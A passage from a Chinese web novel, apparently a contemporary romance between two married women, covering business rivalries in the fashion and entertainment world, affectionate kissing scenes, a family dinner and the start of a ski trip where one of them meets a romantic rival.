现在看来,简直像个笑话。 他正要拿起电话质问谢思虞,孙晓月的手机突然响起。 “什么?”孙晓月接起电话,表情从震惊到狂喜,“好,我马上通知谢总!” 挂断电话,她激动得声音都在发抖:“谢总,商场刚传来消息,苏琳的粉丝突然涌入门店,每个人都是成堆购买!线上销售数据也在暴涨!” 谢明远愣住:“怎么回事?” 孙晓月快速划开平板:“苏琳昨晚参加综艺,穿了我们的新款连衣裙,今早还发了微博晒单……” 她将屏幕转向谢明远,“相关话题已经冲上热搜了!” #苏琳 Elis# #被姐姐安利的小众品牌# 谢明远盯着热搜词条,突然明白了什么,这根本不是意外。 苏琳昨晚参加综艺节目,也在谢思虞的算计之中。 如此心机的她,小女儿又岂会是对手呢? 第33章 至少亲我的时候,很、厉、害。 3月7日晚上9点, 商场联名活动结束。 Elis线上线下总销售额远超预期,谢明远阴郁了好几天的心情总算放晴,就连妻子给远在T市的小女儿转零花钱, 他也睁一只眼闭一只眼。 “没时间吗?” 谢家老宅。 谢明远坐在餐桌前,正给谢思虞通话,本意是要她和陆言卿回来吃饭, 最后被拒绝了也没有恼,脸上挂着温和的笑, “联名活动刚结束,是有点忙。” “那等你们有时间了再回家吃饭。” 当然这只是一句客套话,自从发生椰汁花生酱事件后, 大女儿不愿回来也情有可原。 谢明远挂断电话, 察觉到一旁妻子哀怨的眼神,拿起筷子吃饭。 他知道她想说什么, 这几天他耳朵都听出茧子了,无非就是小女儿本性不坏,只是一时糊涂做错了事,惩罚也惩罚了,能不能让她回榕城。 “不想吃就上楼,别影响我用餐。” Elis下半年推广有望,他难得放松下来, 不想跟她争吵不休。 因为没有意义。 周静用力攥着筷子,看着眼前的丈夫, 咬着牙道:“谢明远, 你别怪我说话难听, 这么多年我们如何对谢思虞的,你心里有数。” “如今你只顾眼前利益, 把瑶瑶调到T市,真要是伤了她的心,有你后悔的一天。” “啪”的一声—— 周静把筷子拍在桌上,她确实没有胃口,也懒得留下碍他的眼,往楼梯间走了几步,又停下脚步回头。 冷笑警告:“别傻傻以为谢思虞姓谢,她就会跟你一条心,最后竹篮打水一场空,有你哭那天。” 瑶瑶虽然张扬跋扈,但心底还是很崇拜他这个父亲。 而谢思虞呢? 表面上看着温顺谦和,然骨子里跟他一样狠戾。 很快。 偌大的餐厅只剩下谢明远一个人,因为妻子冷嘲热讽的几句话,他心梗不已,可他能怎么办? Elis如今也就是表面看着风光,实则已经千疮百孔,再不想办法扭转局面,就真的离破产不远了。 只能铤而走险,去相信有可能有异心谢思虞。 他自然也疼爱小女儿,可她乖张不懂得收敛的性子,总有一天会吃亏。 让她去自家分公司磨磨性子不算坏事。 这也是给陆言卿一个交代。 妻子怎么就不明白呢? 与此同时。 江海澜苑公寓,书房。 谢思虞挂断谢父的电话,眼底还带着淡淡的冷意,面前电脑屏幕上是刚刘瑶发给她的数据报告,这次商城为期一个礼拜的联名活动,效益很不错。 「云裳」茶饮馆销售额总排名在第9位,按照去年茶饮馆销售数据而言,可以说相当不错了。 谢思虞捏了捏肿胀的眉心,刚把文档退出去,书房的门被敲响,顿时嘴角勾起温柔的笑意:“进来吧。” 陆言卿推开门,手里端着一个透明的玻璃碗,里面是她切好的新鲜水果,有草莓,苹果和西瓜,每块水果上都裹上了乳白色的酸奶。 “忙完了吗?” 陆言卿把碗放在办公桌上,叉了块红彤彤的西瓜,喂到谢思虞嘴边,“尝尝?超级甜。” “都处理好了。” 谢思虞眼中带笑,就着她的手咬了口西瓜,确实很甜,还带着酸奶的奶香。 注意到她换了裙子,原本的A字裙换成了方领的碎花连衣裙,气质温柔又明媚,“怎么换裙子了?” 陆言卿转身倚着办公桌,给自己叉了块草莓吃,低头看了眼衣裙,无奈解释:“清洗苹果时,水龙头的水开太急了。” 谢思虞目光落在碎花裙上:“这条裙子你穿很漂亮。” 榕城的春天很短暂,即将迎来炽热的夏天,这条连衣裙应该是昨天才送到公寓的。 陆言卿歪头看向谢思虞,忍不住打趣:“我严重怀疑阿虞在夸你自己。” 因为衣帽间的衣服都是谢思虞亲自挑选的,当然,她身上这条连衣裙也是。 谢思虞愣了下。 抬眸正好看到某人眼中一闪而过的狡黠,撑着办公椅扶手站起身来,她和陆言卿都穿着拖鞋,只比她矮一点点。 突然凑上前。 惊得陆言卿本能往后躲,她捂嘴轻笑:“卿卿躲什么?不是喜欢我主动吻你?” 话题跳的有点快。 陆言卿眨眨眼,没想到温柔的谢思虞也有坏坏的一面。 咬碎嘴巴里的草莓,丝丝缕缕的酸味在口腔里蔓延,正因为刚吃了甜的西瓜,此刻吃酸甜的草莓,她就只感觉到了酸…… “刚才我没准备好。” 陆言卿把叉子放进玻璃碗里,拉过一旁的办公椅坐下,拍了拍腿,示意谢思虞坐过来,温温柔柔道,“现在阿虞可以亲了。” 谢思虞只是想捉弄回去,如何想到事情会发展成这样? 站在原地有些不知所措,温柔的暖光下,她睫羽轻颤,投下一片光影。 抿了抿唇,最后还是坐在了陆言卿腿上。 怕自己太重会压疼她,一只手撑着椅子扶手借力。 “我抱得动你,怕什么?” 察觉到谢思虞的小动作,陆言卿揽着她纤细的腰肢往怀里一摁,瞬间两人紧紧相依,密不透风。 带着橙花香的温软身子撞进怀里,连带着胸腔里那颗心也颤了颤。 “阿虞很喜欢橙花的味道?好香啊。” 凑到谢思虞颈间轻嗅,陆言卿温热的呼吸自然而然倾洒在对方肌肤上。 怀里的人下意识躲,却被她抱的更紧,“还亲吗?” 谢思虞被陆言卿亲昵的动作弄的很痒,可她也很坏,还不许她躲。 于是抬起手臂,用力搂着对方的脖子,把头埋进她肩窝里。 同样恶劣地咬了咬她的耳垂。 咬也算亲。 “唔……” “阿虞你怎么咬人?” 陆言卿似乎被刺激到,下意识掐紧了谢思虞的腰肢,又把她往怀里带了带。 谢思虞心跳很快,耳朵也很红,不知怎么就把往日的矜持扔掉一边,双手捧着陆言卿的脸颊,像是啄木鸟啄树木似的,亲了她一下又一下。 笨拙,又赤诚。 此时如果有人推门进来,就会看到谢思虞整个人趴在陆言卿怀里,摁着人家亲。 陆言卿拥着谢思虞的腰,不一会儿功夫,她的唇瓣就被某人亲,不,更准确来说,是“撞”的发麻。 鼻息间溢出温柔的轻笑,好像察觉谢思虞玩够了,才托着她的后脑勺,含住她柔软的唇瓣。 不断吮吸。 缠绵厮磨了好一会儿,这次轻叩开她的贝齿,将舌尖探入里面勾缠,共舞。 “嗯……卿卿是草莓味的。” 也不知道被陆言卿亲了多久,谢思虞早就顾不上紊乱的心跳,整个人变得晕乎乎的,她明明没有吃草莓,但嘴巴里也有草莓的甜酸味。 指腹摩挲谢思虞微微泛红的唇瓣,陆言卿心下柔软,又亲了亲她的额头,温声道:“我还可以是苹果味的,阿虞要尝尝吗?” 反应过来。 谢思虞漾着水意的眼眸眨了眨,理智渐渐回归,撑着陆言卿的肩膀站起身,脸颊绯红,摇头:“不用了。” 她拿起碗里的叉子,叉了块苹果放进嘴巴里,腮帮微微鼓着。 当真是可爱至极。 那模样好似真的怕陆言卿再吃苹果,然后又吻她。 “阿虞,你……好可爱呀。” 陆言卿这次没有忍,明媚的笑声在房间里响起,站起身来轻轻戳了戳谢思虞的脸颊。 眼眸里盛满了温柔- R市有全国著名的古镇。 也是5A级景区。 这段时间《神殒九霄》剧组在这里取景拍摄,晚上10点,苏蔓收工回到宾馆,正巧在楼下碰到不少粉丝蹲守在宾馆外。 好在助理黄凌反应快,及时让司机把车开进地下车库。 透过单面车窗玻璃,她看到外面粉丝举着的应援牌。 写的并非苏蔓,而是苏琳。 讪讪地摸了摸鼻尖,回头想对苏蔓说什么,见她脸色难看,显然也是发现外面那群人是苏琳的粉丝。 “苏蔓姐,微博上最新消息,苏琳作为飞行嘉宾参加的综艺《情书密语》第三期也在R市录制。” 因为Elis代言的事,苏蔓这几天心情很差,黄凌说话也需要格外注意。 其实想想她也能理解,Elis虽然是个小众品牌,苏蔓一开始是瞧不上,可她不屑的东西,被竞争对手“抢”走,还穿着该品牌的衣服招摇过市。 不知道什么原因在微博头条挂了两天,苏琳也跟着小火了一把。 苏蔓怎么可能没想法呢? 然这次黄凌还真的猜错了。 苏蔓之所以不高兴,是因为谢思虞给的难堪。 如果谢知瑶最初没找上她代言Elis,或许她都不会生气。 原本想的是让谢思虞在她面前低头,结果人家转头就找了别人代言,还是跟她同一个经纪公司的苏琳。 对方身价,咖位都不如她。 这不是打脸是什么? 「我这边得到了确切的消息,大型古装电视剧《荒月》女二饰演者已经确定了,陈制片和杨导敲定的人。」 「正是苏琳。」 回到宾馆房间。 苏蔓脱掉身上的浅咖色风衣,拿出包里手机,看到微信上经纪人林姐发给她的信息,脸色瞬间冷下来。 扣着手机边缘的指尖隐隐泛白,害怕是林姐弄错了,她直接拨打对方的电话,那头刚接起来,她就迫不及待追问:“林姐,苏琳出演《荒月》女二,您是认真的吗!” 要知道休假第一天晚上,她就去见了《荒月》剧组的陈制片,对方答应给她试镜机会,她这还没去试镜,怎么演员就定下了呢? 「你先冷静点。」 「《荒月》要提前开机,或许人家剧组考虑到你的档期问题,于是重新挑选了演员。」 「《神殒九霄》还有两个月拍摄完,到时候你要马不停蹄赶往下个剧组,档期确实挪不开。」 苏琳。 又是苏琳。 苏蔓气得在房间里走来走路,烦躁地抓了抓头发,档期再紧,她可以挤时间,《荒月》的剧本她真的很喜欢。 眼下她连试都没试就错过。 如何能甘心? “林姐,能不能帮我联系到杨导,我真的想试一试。” 苏蔓坐在靠窗的藤椅上,玻璃桌上花瓶里是几株蓝色的鸢尾花,是住进宾馆第一天,她让黄凌去街上买的。 这次听筒那边经纪人沉默时间较长,开口嗓音有些沉:「苏琳也是星海旗下的艺人,她能拿到这个角色,就说明有人把剧本递到了她的面前。」 「苏蔓,贪多嚼不烂的道理你想必也懂,先顾好你手里已经签约的剧本吧。」 这是变相的拒绝。 苏蔓眉头紧蹙,听筒里嘟嘟声拉回她的思绪,林遥手底下就她一个一线艺人,按理说会为她争取资源才对,却偏偏劝她放弃。 这太不正常了。 “苏蔓姐,订的粥到了。” 黄凌从前台取餐回来,发现苏蔓坐在窗边发呆,脸色比之前还难看。 小心翼翼把蔬菜粥放在桌上就退出了房间。 「我想试镜《荒月》女二这个角色,你能帮我想想办法吗?」 十分钟,半个小时。 发给邹筱的消息如同石沉大海,没有任何回应。 苏蔓打开餐盒盖子,蔬菜粥已经凉了,她面无表情地喝下去。 突然有种不好的预感。 直到凌晨12点。 邹筱才回复了她一个微笑的表情。 没说好,也没说不好。 心底涌出的那种不适感,愈发清晰。 #宋薇旗袍美人# 就在苏蔓心烦意乱时,微博弹出一则消息,点击进去看到宋薇身穿旗袍在古香古色的庭院里煮茶。 黄昏落幕,滤镜加持下,宋薇就像是古代富贵人家的大家闺秀。 温婉又端庄。 这是宋薇拍摄的一款茶叶广告。 怎么都是跟陆氏有关。 苏蔓搜索茶叶,结果发现「云裳」茶饮馆就在陆氏旗下的商场里。 平躺在床上,手臂虚虚地搭在额头。 苏蔓自嘲地勾了勾唇。 三年前她和陆言卿交往时,对方还没有继承陆氏,而她呢,只因为陆言卿一次食言,就急功近利找上星海娱乐的副总邹筱。 在饭局上喝醉酒和邹筱厮混一夜,惶恐不安的她却在第二天就拿到了梦寐以求的试镜机会。 最后成功出演女三。 后来尝到甜头的她,就跟罂粟上瘾一样,一发不可收。 电视剧剧本,代言广告,热门综艺,可以说是手到擒来。 直到陆言卿亲眼撞见她和邹筱暧昧,提出分手。 那时她是怎么想的呢? 对陆言卿是有埋怨的。 觉得她明明有能力有资源却不愿帮自己。 她追求想要的名和利,也没有错不是吗? 不,她也有错。 她和邹筱发生关系后,就应该和陆言卿坦白,而不是瞒着她脚踩两条船。 三年后的今天。 她确实如愿以偿,站在了顶峰。 但似乎也没有想象中开心- 次日清晨,天还灰蒙蒙亮。 陆言卿就被频繁的手机震动声吵醒,动了动手臂,意识到怀里还抱着一个人,原本还想小心翼翼去拿床头的手机,怀里谢思虞却睁开了眼睛。 “先接电话吧。” 她侧过身平躺着,再次闭上了眼睛,似乎还想睡的样子。 却只有自己知道,此刻心跳的有多快。 她被陆言卿半搂在怀里,她们睡觉都没有穿Bra,决定要同床共枕后,最初两晚她们很默契都穿着Bra,只是后来都不舒服,也不习惯,便脱下来了。 她失眠,平时睡觉也轻。 手机震动没一会儿她就醒了,正犹豫要不要喊醒陆言卿,结果她也幽幽转醒。 只是陆言卿突然抬高手臂去拿手机,她都来不及反应,就亲到了对方锁骨下方柔软的雪峰,哪怕隔着睡衣,也能清楚感受到那里肌肤的温度。 那一瞬间,整个人像是被烫到。 大脑变得空白,反应过来后急忙退开。 陆言卿确实没有察觉到谢思虞的不自然,看到屏幕上来电显示,眼底划过一抹无语,她就应该把钟晚意拉黑。 这才6点45分,她打电话都不看时间的吗? “你最好有事。” 「啊啊啊啊啊——对不起卿卿,我知道你可能还在睡,但我太激动了,必须找人倾诉。」 「薇薇拍的茶叶视频昨晚冲上热搜榜了,这次90%都是自来水,网友评论也比较正面,这说明会有更多的人喜欢薇薇,我真替她高兴。」 手机远离耳边,陆言卿往谢思虞那边靠了靠,额头抵着她的肩膀,耐着性子问:“说完了?说完我挂了。” 「哎呀,别急着挂嘛。」 「思虞姐就在你边上吧,她又跑不了,你想抱想亲还不是分分钟的事情?」 陆言卿轻哼:“再废话我真的挂了。” 「好好好,我说,我说还不行嘛。」 「之前不是说要邀请你和思虞姐去滑雪吗?我正好认识一个朋友,她们家滑雪场只对VIP贵客开放。」 「在A市,距离榕城不算远,开车就3个小时,怎么样,要不要跟我一起去玩?」 陆言卿听到这里睡意少了几分,支起胳膊,见谢思虞睫羽轻颤,虽然弧度很小,也知道她没睡,于是问:“晚意说要去A市滑雪,你想去吗?” 谢思虞不可能再装睡,歪头看向陆言卿:“你呢?想去吗?” 陆言卿下巴轻轻搁在谢思虞肩头,颇为认真说道:“其实我挺想带你出去散散心,要是你不介意是去滑雪,那我们就一起去。” 「喂喂喂——当众让我吃狗粮不太好吧?」 「算了,你们商量好再告诉我。」 那头钟晚意说完就挂了电话。 陆言卿瞥了眼屏幕,把手机塞到枕头下,也侧过身平躺着:“不用担心工作上的事,总会找到办法解决。” 羽绒被下。 谢思虞的手也被陆言卿紧紧握住,这是她们第一次外出散心游玩,她不想拒绝。 “可我不会滑雪,怕扫大家的兴致。” 陆言卿这次坐了起来。 ‘居高临下’看着谢思虞,这才注意到她泛着红晕的脸颊,稍稍低头靠近一些:“不会滑雪我教你。” 说完停顿了下,嗓音带着担心,“阿虞你哪里不舒服吗?还是太热了,你的脸好红。” “你看错了。” 谢思虞心虚躲开陆言卿的指尖,掀开被子下床,穿上拖鞋直奔浴室。 一套动作下来行云流水,也有点落荒而逃的意味。 陆言卿眨眨眼。 好半晌也没想明白是什么原因,直到低头看到身上的睡衣,方领设计,最上面一颗纽扣睡觉时蹭开了。 露出里面大片旖旎的风景。 眼底迅速浸染温柔的笑意,她一边把扣上纽扣,一边挪到床边穿鞋。 来到浴室门口,轻叩:“我能进去吗?” 哗哗的水流声过后。 里面谢思虞打开了门,应该是洗过脸,额头,额角两侧的头发带着湿意。 “还早,你可以再睡会儿。” 谢思虞重新回到洗手池前,拿着牙膏往牙刷上挤了一点。 她之所以起床,并不完全是因为害羞,而是要去晨跑。 陆言卿微笑着走到谢思虞身旁,打开水龙头,弯下腰捧了把温水冲脸:“反正也醒了,今天我跟你一起晨跑。” 半句没提刚才的事。 谢思虞看着镜子里陆言卿眼睛里的认真,垂了垂眼睑,没接话,只是把洗面奶递到她手里。 二十分钟后。 江海澜苑公寓楼下。 “我们在公寓跑?” 陆言卿换上了藕粉色的运动套装,扎着高马尾,按照高中体育课上老师教的伸展运动,先扭扭腰,又伸伸手臂,最后还做了两个高抬腿。 谢思虞塞了一只蓝牙耳机在陆言卿耳朵里,声音平静且不容置疑:“对,我们就在公寓跑。” 晨跑她坚持了三年,每天从公寓出发,往钟山公园方向跑,终点是一家名为‘云栖’的咖啡馆。 往返全程差不多5公里。 “好吧。” 陆言卿见谢思虞已经开始匀速往前慢跑,也没再问原因,跟在她身后跑起来。 粗略扫了眼公寓楼下的花园,不算大也不算小,大不了多跑几圈? 结果15分钟后,陆言卿就累的气喘吁吁,压根儿忘记了数圈,两条腿跟灌铅似的,胸口上下起伏的厉害,喉咙也感觉要冒烟。 “先喝口水?” 谢思虞递过来一瓶柠檬味的电解质水,眼底目光带着担忧。 瓶盖已经拧开了,陆言卿接过来喝了口水,见谢思虞气不喘,顶多就是有点脸红。 相较之下,她就狼狈很多。 无奈苦笑:“我是不是有点丢人了?” 谢思虞轻轻摇头,上前两步抱住陆言卿,在她耳畔很认真的说道:“卿卿很厉害,至少亲我的时候。” “很、厉、害。” 第34章 这人是在撩她? 【卿卿很厉害, 至少亲我的时候很厉害。】 蓝牙耳机里播放着一首悠扬轻缓的钢琴曲,陆言卿被谢思虞抱在怀里,闻到她身上熟悉的橙花香。 原来一切都不是她的错觉。 谢思虞会说这样的话, 陆言卿是万万没有没想到的,原以为对方是打趣,结果对上她温柔坦然的目光, 很明显她竟然真的这样认为。 心脏,扑通, 扑通。 这人是在撩她? 不想承认,可这是事实。 一时哑然。 是近墨者黑吗? 可她平时也是这般模样? 陆言卿正准备检讨自己,包里手机铃声响了, 她退出谢思虞的怀抱, 一边问:“你还跑吗?” 看到来电显示,是祖父。 接听电话, 一边指了指第6栋公寓方向,表示自己慢慢走回去。 “爷爷有事吗?” 当手里电解质水被拿走,陆言卿歪头看向身侧,谢思虞张嘴无声说:不跑了。 于是她自然而然牵住了对方的手,两人肩并肩一起往回走。 耳畔也随之响起祖父苍老的声音:「商场活动结束,你和思虞今晚回老宅吃饭,李婶包你喜欢的虾仁玉米饺子。」 “好, 我们晚上回去。” 陆言卿指腹轻轻磨挲谢思虞的手背,短暂的通话结束, 她们也走到了公寓楼下的电梯间。 低头凑到谢思虞耳边, 正打算亲她, 面前的电梯门突然打开,里面是一位母亲和五六岁的小男孩, 女人手上拎着书包,明显是送孩子上学。 往边上退了两步,等到女人牵着男孩离开,陆言卿才牵着谢思虞进入电梯,按了12楼的数字,她笑着问:“阿虞被我那样亲吻,喜欢吗?” 温热的呼吸喷洒在耳蜗里,谢思虞揉了揉发痒的耳朵,偏头对上陆言卿含笑的眼眸,脸颊肉眼可见的速度漫上红晕, 但对视没有维持很长时间,她低下头。 眼睫微颤。 刚才被陆言卿问是不是有点丢人,其实她想说一点都不,她只是很久没有跑步了而已。 想到当年的意外。 愧疚,心疼再次涌上来。 原本脱口而出的对不起三个字到嘴边换了其他。 因为那晚在滨海别墅顶楼,已然被陆言卿瞧出了端倪。 “是不喜欢?” 许久没等到谢思虞的回答,陆言卿轻轻捏了捏她的指尖,电梯抵达12楼,发出叮的一声。 同一时间,她听到谢思虞很轻的声音:喜欢的。 唇角微勾。 陆言卿在谢思虞打开门后,牵着她进屋,玄关,把人锁在怀抱和鞋柜之间,低头便噙住了某人柔软的唇瓣。 只是这个温柔的吻没有很长时间。 陆言卿揽着谢思虞的腰,头埋在她肩窝,温柔又认真地开口:“我也很喜欢亲阿虞。” 很甜,也很软。 她怎么就那么稀罕她呢? 谢思虞内敛温柔,对她的事也很上心,被她亲吻,每次都乖乖配合。 有时面对她的捉弄,她明明很害羞,依然全盘接受。 好像。 谢思虞从未对她生过气? 这样温柔又体贴的人。 很难让人不喜欢吧?- 傍晚谢思虞把「云裳」老板娘杨姗送的名贵茶叶放进后备箱,带回老宅给祖父品鉴。 老宅厨房外餐厅。 餐桌上有两个不锈钢盆,里面的馅料儿分别是虾仁玉米和香菇猪肉。 李婶正动作熟练的揉面,最后把面团切成大小均匀的小块,用擀面杖将其擀成圆形。 谢思虞会做饭,但从未包过饺子,见李婶一分钟包两个,三个精致又可爱的饺子,站在旁边蠢蠢欲动。 陆言卿坐在餐桌对面,脸上挂着温和的笑:“阿虞想试试?” 谢思虞莞尔一笑,走到李婶旁边,挽起袖子至手肘,拿了一张饺子皮摊在掌心。 学着李婶的步骤,她舀了少量的虾仁馅,然后手指灵巧地捏合边缘,第一次难免生疏,但第二次就包的有模有样了。 “这就包好了?” 陆言卿没有眨眼睛,以前她也跟李婶学过包饺子,但动手能力比较差,尝试过很多次,浪费过无数张饺子皮,最后只能放弃。 谢思虞也是第一次包,怎么饺子皮在她手里就那么听话? 是不是今天李婶擀的饺子皮比较好包? 陆言卿起身去厨房洗手,纸巾擦干手上的水珠,拿了一张饺子皮,加入香菇猪肉馅料,结果捏出来的饺子就奇形怪状。 比较难得的是,这次她没有把馅儿捏出来:“明明都是一样的手法,为什么我的那么丑?” 谢思虞笑而不语,放下手里包好的饺子,走到陆言卿身边,重新拿了饺子皮放她掌心里,温柔提醒:“馅别放太多。” 双手慢慢引导她,帮着她将馅料匀开,“捏的时候也别太用力。” 然后一步一步带着她捏出褶子。 “就这样……你自己尝试下?” 谢思虞把陆言卿‘包’好及格的饺子摊在掌心,眼底温柔的笑意更深了。 旁边祖父和祖母看着,陆言卿怪难为情的,耳尖隐隐发烫,在谢思虞温柔鼓励下,她自己又试了一次。 虽然没有李婶包的漂亮,但勉强能入眼了。 “很漂亮呀。” 谢思虞不知道何时已经洗了手,把她手把手教陆言卿包的饺子,还有某人自己包的饺子放在一起。 拍了张照片,发在了微信朋友圈。 等饺子吃完,陆言卿看到微信朋友圈里谢思虞那条消息,已经有无数人点赞。 下面评论也不少。 市场主管-小张:谢副总和陆总今晚吃饺子? 人事总监-沈砚清:你包的?还是陆总包的?别是你们一起包的吧? 财务总监-江泠月:好羡慕,我也好久没吃饺子了。 销售总监-周越:我缺这口饺子?我缺的是一起吃饺子的人。 看到周越的评论,陆言卿没忍住笑出声来,当初她进入集团,这人就在相亲,三年过去还没脱单? “看什么呢?” 谢思虞坐在陆言卿身边,喂给她一颗剥了皮的水晶葡萄。 陆言卿把手机递过去:“看你刚发的朋友圈。” 压根儿没注意刚她就着谢思虞的手吃葡萄,不小心含住了她的指尖。 虽然很快松开,但也扰乱了对方的心神。 “啊……这么多人评论吗?” 谢思虞不经意把碎发别到耳朵后面,掩饰自己的不自然。 看向陆言卿的手机屏幕,她刚只是发了朋友圈,没有关注后续。 陆老推着妻子从外面回来,看到孙女和谢思虞之间自然的相处,明显是感情有了进展,轻轻拍了拍妻子的肩膀。 “商场这次活动结束,再过段时间就是你们结婚纪念日,卿卿你带思虞出去散散心?” 结婚纪念日。 陆老一句话,让孙女和谢思虞两人都怔愣了下。 陆言卿下意识偏头看向谢思虞。 却见她低下了头。 从她的角度是看不到谢思虞眼底情绪的,然偏偏感受到她的落寞。 前两次结婚纪念日,无一例外都是谢思虞独自度过。 陆言卿攥紧手机,深呼吸了一口气,轻轻握住了谢思虞的手,对祖父说:“我们和晚意约好去A市滑雪。” “算算时间,可能结婚纪念日会在A市度过。” 陆老欣慰地点点头,半开玩笑道:“你没有忘记就好,出去玩一个礼拜,集团没有你们暂时倒闭不了。” 两人离开老宅,陆言卿开车回到江海澜苑,时间是9:35分。 她解开身上安全带,侧过身看着谢思虞,有意无意摩挲无名指上的婚戒,温柔解释:“即便爷爷没有提,我也没有忘记,3月21日是我们结婚纪念日。” 宾利车熄火,停在公寓楼下。 车厢里橙花香氛是谢思虞亲自去实体店挑选的,她抬眸看向驾驶座的陆言卿,嘴角勾起一抹极浅的弧度:“之前卿卿问我是不是喜欢橙花香?” 陆言卿想起来后点点头:“你的香水,浴室沐浴露,包括卧室香薰都是这个味道。” 应该是很喜欢吧。 谢思虞勾住陆言卿的小拇指,车内没有开顶灯,只有外面路灯透进来少许的亮光。 她怕被陆言卿看出眼里氤氲的水雾,于是低下了头,嗓音很轻:“你约我在咖啡馆见面那天,还记得吗?你随身带着一个糖包。” “我当时闻到了橙花的味道。” 陆言卿愕然。 坐在驾驶座的身体变得僵硬无比,好半晌,她反手握住谢思虞的手,不断收紧力道,听到自己带着颤音的声音问:“所以,阿虞以为是我喜欢橙花?” 谢思虞紧抿着唇,虽然手被陆言卿抓的很用力,她也没有抽出来:“闻到橙花的味道,就感觉你……一直在身边。” 陆言卿心口压抑的厉害。 如果谢思虞今晚不说,她或许永远都不会知道。 竟然是这个原因。 当初文件袋里的糖包,只是钟晚意无意塞的。 她喉咙微动,张了张嘴巴,终究没有说出‘真相’。 因为她感觉谢思虞一副快要破碎的样子。 最终只是轻轻地把她拥入怀里。 这样的谢思虞,如何能令她不心疼?- 3月16日。 榕城阳光明媚。 手机天气预报显示,A市最近一个礼拜也是艳阳高照的日子。 钟晚意和朋友杨怡坐一辆车,高速公路上早都看不到对方的车影。 要去A市游玩一个礼拜,陆言卿专程去晨华里公寓停车库开了一辆SUV。 后备箱足够大,装的东西自然就多。 “还难受吗?” 副驾驶,谢思虞靠着座椅靠背,脸色透着苍白,看起来也恹恹的。 陆言卿扫了眼仪表盘,目前时速是80公里每小时,全程她都是开的慢车道。 谢思虞拧开保温杯的盖子,喝了一口里面的温水,特别不好意思:“我没事,今天是第三天,其实还好。” 这几年她的生理期一直不太规律,也是没想到会这么凑巧。 来的时候不会肚子疼,只是坐车难免会不舒服。 “只是要辛苦你,连续开车3个多小时。” 谢思虞心疼地看向陆言卿。 车载导航提醒前方15公里有服务区,陆言卿准备开进服务区休息半个小时,反正她们不赶时间。 她开车倒是没事,只是怕谢思虞难受,这人一贯喜欢逞强。 就算难受也不会说出来。 「我们还有40分钟下高速。」 「思虞姐没事吧?要不要等等你们?」 陆言卿看到钟晚意发来的微信,她已经把车开进了服务区,正在卫生间门口等谢思虞。 看了手机右上角的时间,回复好友:不用等,你们先走,晚点在雪场附近的民宿汇合。 「行吧,你开车注意安全。」 陆言卿锁了屏幕,抬头正好见谢思虞从里面出来,今天她穿了件黑色的长袖连衣裙,V领设计,腰间配有白色腰带。 长发披肩,整个人看起来清冷又优雅。 “要不要去服务区里面餐厅坐坐?” 陆言卿迎上前,自然而然接过谢思虞手里的牛角包。 谢思虞微笑着戳了戳陆言卿的脸颊:“我真的没事啦,都坐了一路,去那边的看台吹吹风?” 也不确定是不是生理期的缘故,她有点晕车。 胃里翻江倒海的。 陆言卿眉头轻蹙,谢思虞嘴上说没事,但脸色看起来真的很差。 注意到她揉胸口的动作,牵着她的手往车方向走:“车里有晕车药,吃一片?” 这次谢思虞没有拒绝。 乖乖吃了一片晕车药,陆言卿又带她去看台,从榕城前往A市,中途需要穿过好几次隧道。 正好这里的服务区在半山腰,能眺望远处连绵起伏的山峰,从山里吹来的风带着丝丝凉意。 谢思虞站了会儿,确实感觉好了很多。 再次启程。 大概是吃了晕车药,后半程谢思虞都昏昏欲睡,直到陆言卿轻轻拍打她的肩膀,将她叫醒。 “阿虞,我们到了,还困的话去房间休息?” 下午2点。 A市的温度比榕城也要低五六度,陆言卿从后备箱拿出了两件长款羽绒服,她已经穿上了。 谢思虞在陆言卿的帮助下穿好羽绒服,下车打量四周。 发现她们面前并不是民宿,而是一栋现代风格装修的3层别墅? “民宿老板有亲戚来,房间不够住,正好晚意认识滑雪场老板的女儿,就带我们过来了。” 陆言卿帮谢思虞拉好拉链,也开口解答了她的疑惑。 “卿卿,思虞姐,你们可算到了。” 钟晚意从别墅出来,招呼两人进屋用餐,“菀之准备了好多好吃的,快进屋。” 谢思虞闻声看去。 钟晚意身后出来的人,正是陶菀之。前段时间她不惜装病撒谎,也要阻止了陆言卿见对方。 眼下,要如何躲? 谢思虞嘴角露出一丝苦笑。 果然偷来的幸福,总是短暂的。 第35章 她承认,她就是很坏。 谢思虞指尖无意识地摩挲着羽绒服的袖口, 因为太用力指尖隐隐泛白,看着眼前装潢华丽的别墅,喉咙微微发紧。 “住在别人家里……” 她声音很轻, 目光扫过陶菀之温婉的笑脸,又迅速移开,试探性问陆言卿, “会不会太打扰了?” 陆言卿还没开口,陶菀之已经柔声道:“谢小姐客气了, 三楼还有两间客房。”她拢了拢肩上的披肩,“晚意和杨怡姐都住在这里,人多热闹嘛。” 谢思虞盯着地面睫羽轻颤, 她不想住在这里——尤其是陶菀之的家里。 可当她抬头看见陆言卿眼下淡淡的疲惫, 顿时心疼不已。 四个多小时的车程。 她倒是睡了一路,而陆言卿却需要专注地握着方向盘, 目视前方,高速公路上片刻不敢松懈。 “饿不饿?” 陆言卿根本没想这么多,钟晚意说山下民宿没有空房间,给她发了个地址,说住好朋友家里,她就按照导航开过来了。 突然靠近谢思虞,手指轻轻拨开她羽绒服帽子里缠住的发丝, “中午在服务区你就没怎么吃。” 她的指尖带着车里的暖意,擦过谢思虞冰凉的耳垂。 谢思虞抬眸, 撞进那双带着丝丝疲惫却依然温柔的眼睛里。 “嗯。” 她终于点头, 声音轻得几乎听不见。 陶菀之微笑着侧身让路:“言卿姐和谢小姐先进屋吧, 我让阿姨煮了姜茶,先暖暖身子。” 她里面穿了件白色针织衫, 外面是燕麦色羊绒大衣,柔顺的长发披散在身后,举手投足都尽显端庄和温婉。 长相不算惊艳,但笑起来给人感觉很温暖很舒服。 谢思虞迈步时握紧了陆言卿的手。她知道自己这样很幼稚——陶菀之分明举止得体,笑容真诚。 可当对方亲切地唤陆言卿“姐姐”时,她胸口就泛起一阵酸涩。 别墅的暖气扑面而来。 谢思虞站在玄关,看着陆言卿弯腰换鞋,忽然想起她们领证不久后的一个雨夜。 那晚她在陆家留宿,下楼时无意间听见陆母对陆父说:「你说当初和言卿结婚的人是菀之,她还会一声不吭就出国吗?」 “思虞姐?” 钟晚意的声音将她拉回现实,“别墅一楼和三楼都还有空房间,你和卿卿想住哪里?” 谢思虞勉强笑了笑。 抬眸看向旁边的陶菀之,对方察觉到她的目光,似乎明白她的顾虑,当即也给出回答:“我和晚意她们住在二楼。” 陆言卿换好拖鞋,又拿了一双放在谢思虞脚边,淡淡开口:“我们住一楼就行。” 